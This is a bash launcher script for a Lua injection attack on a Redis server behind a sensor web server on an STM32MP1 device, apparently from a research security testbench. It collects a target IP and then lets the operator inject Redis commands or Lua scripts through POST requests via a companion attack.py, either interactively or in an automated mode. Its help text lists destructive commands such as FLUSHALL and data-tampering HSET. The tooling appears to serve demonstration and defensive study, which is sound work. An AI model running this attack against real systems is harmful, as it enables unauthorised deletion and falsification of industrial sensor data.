#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


# 1) UTILITY FUNCTIONS
# This section contains utility functions that assist with various tasks in the attack process

# Function to request necessary information for performing the attack
get_attack_info(){
	read -p "[+] Please enter the STM32MP1 IP address: " target_ip_address
	while ! (ping -c 1 -W 2 $target_ip_address > /dev/null 2>&1) 
	do
		echo ""
		echo "[!] Invalid IP address or host unreachable"
		read -p "[+] Please enter the STM32MP1 IP address: " target_ip_address
	done
}

# Function to manage the injection console and guide the user to choose injection methods
injection_console() {
	echo ""
	read -p "[+] Choose your injection type: (s) Lua script, (c) Redis commands, or (q) quit: " injection_type

	while true;
	do
		case $injection_type in
			(s|S)
				lua_script_console 
				;;
			(c|C)
				redis_commands_console 
				;;
			(q|Q)
				break
				;;
			(*)
				echo "[!] Invalid option."
				;;
		esac
		read -p "[+] Choose your injection type: (s) Lua script, (c) Redis commands, or (q) quit: " injection_type
	done
}

# Function to allow the user to execute Redis commands on the target system
redis_commands_console() {
    echo "[+] You can now execute Redis commands. These commands will be parsed and executed as Lua commands."
    echo "[+] Here are some example Redis commands:"
	echo "    FLUSHALL                    : Deletes all the keys from all existing databases."
    echo "    HGETALL <key>               : Returns all fields and values stored at <key>."
    echo "    HSET <key> <field> <value>  : Add [<field>, <value>] to the elements stored at <key>."
    echo
    echo "[+] <key> used in the testbench are: Temperature, Pressure, Humidity."
    echo "[+] To exit the Redis command console, type 'q' and press ENTER."
    echo

	while true;
	do
		read -p "redis> " command
		if [ "$command" = "q" ]; then
			echo ""
			break
		elif [ -z "$command" ]; then
			continue
		else
			python3 attack.py -c $target_ip_address $SENSOR_WEBSERVER_PORT "$command"
		fi
	done
}

# Function to allow the user to execute Lua scripts on the target system
lua_script_console() {
    echo "[+] To inject a Lua script, specify the filename. The script must be located in the 'lua_scripts/' folder."
    echo "[+] To exit the Lua script console, type 'q' and press ENTER."
	
	while true;
	do
		read -p "Lua filename> " file
		if [ "$file" = "q" ]; then
			echo ""
			break
		elif [ -z "$file" ]; then
			continue
		else
			python3 attack.py -s $target_ip_address $SENSOR_WEBSERVER_PORT "$file"
		fi
	done
}

# Function to execute the entire attack process
run_attack(){
	case $injection_type in
		(-c|-C)
			python3 attack.py -c "$target_ip_address" "$SENSOR_WEBSERVER_PORT" "$injection_content"
			;;
		(-s|-S)
			python3 attack.py -s "$target_ip_address" "$SENSOR_WEBSERVER_PORT" "$injection_content" 
			;;
		(*)
			echo "[!] Invalid injection type. Please use -c for Redis commands or -s for Lua scripts."
			exit 1
			;;
	esac
}



# 2) ATTACK MODES
# This section defines different attack modes, alowing either user interaction or full automation.

# Function to guide the user through each step of the Lua injection attack
attack_step_by_step(){
	echo ""
	echo "======== STEP 1 : Configure Attack Parameters ========"
	echo ""
	echo "[+] First, you need to provide the IP address of the STM32MP1 where the Sensor webserver is hosted."
	get_attack_info

	echo ""
	echo "======== STEP 2 : Inject Lua Scripts ========"
	echo ""
	echo "[+] Now, you can inject Redis commands to control the Redis server."
	echo "[+] To do that we'll inject a Lua script into the web server via POST requests."
	injection_console 
}

# Function to guide the user through necessary input and then run the attack without further explanation
attack_interactive(){
	get_attack_info

	injection_console 
}

# Function to fully automate the attack process without user interaction
attack_automated(){
    case $attack_phase in
        (-a|-all)
            run_attack
            ;;
        (-s|-setup)
            echo "[!] This attack does not have an setup phase."
			exit 1
            ;;
        (-p|-prepare)
            echo "[!] This attack does not have an preparation phase."
			exit 1
            ;;
        (-e|-exploit)
            run_attack
            ;;
        (*)
            echo "[!] Invalid argument. Use -a|-all, -s|-setup, -p|-prepare, or e|-exploit."
            exit 1
    esac

	echo -e "\n======== END : ATTACK ENDED ========\n"
	exit 0
}



# 3) BEGINNING OF THE SCRIPT EXECUTION
# Main entry point of the script, handles initial checks and user options.

echo "=========================================================================================== " 
echo "	 _     _    _           _____       _           _   _             "
echo "	| |   | |  | |  /\     |_   _|     (_)         | | (_)            "
echo "	| |   | |  | | /  \      | |  _ __  _  ___  ___| |_ _  ___  _ __  "
echo '	| |   | |  | |/ /\ \     | | | `_ \| |/ _ \/ __| __| |/ _ \| `_ \ '
echo "	| |___| |__| / ____ \   _| |_| | | | |  __/ (__| |_| | (_) | | | |"
echo "	|______\____/_/    \_\ |_____|_| |_| |\___|\___|\__|_|\___/|_| |_|"
echo "	                                  _/ |             "               
echo "	                                 |__/         "                    
echo
echo "=========================================================================================== "                                                                        
                                                                                                                                 
echo ""
echo "[+] You are about to initiate a Lua injection attack !"
echo "[+] The aim of this attack is to inject redis commands in a redis server via the lua interpretor."
echo ""

# General configuration variables
SCRIPT_DIR="$(realpath "$(dirname "$0")")"
SENSOR_WEBSERVER_PORT=5000

cd "$SCRIPT_DIR/scripts/"

# If script is executed with exactly 4 argument, run the attack automatically with those arguments
if [ $# -eq 4 ]; then
	attack_phase=$1
	injection_type=$2
	target_ip_address=$3
	injection_content=$4
	attack_automated
fi

# Main loop to choose between interactive or step-by-step attack mode
while true;
do
	read -p  "[+] Choose interactive mode ('i') or step by step mode ('s'): " attack_mode

	case $attack_mode in
		(i|I)
			attack_interactive
			break
			;;
		(s|S)
			attack_step_by_step
			break
			;;
		(*)
			echo -e "[!] Invalid option.\n"
			;;
	esac
done

echo -e "\n======== END : ATTACK ENDED ========\n"
exit 0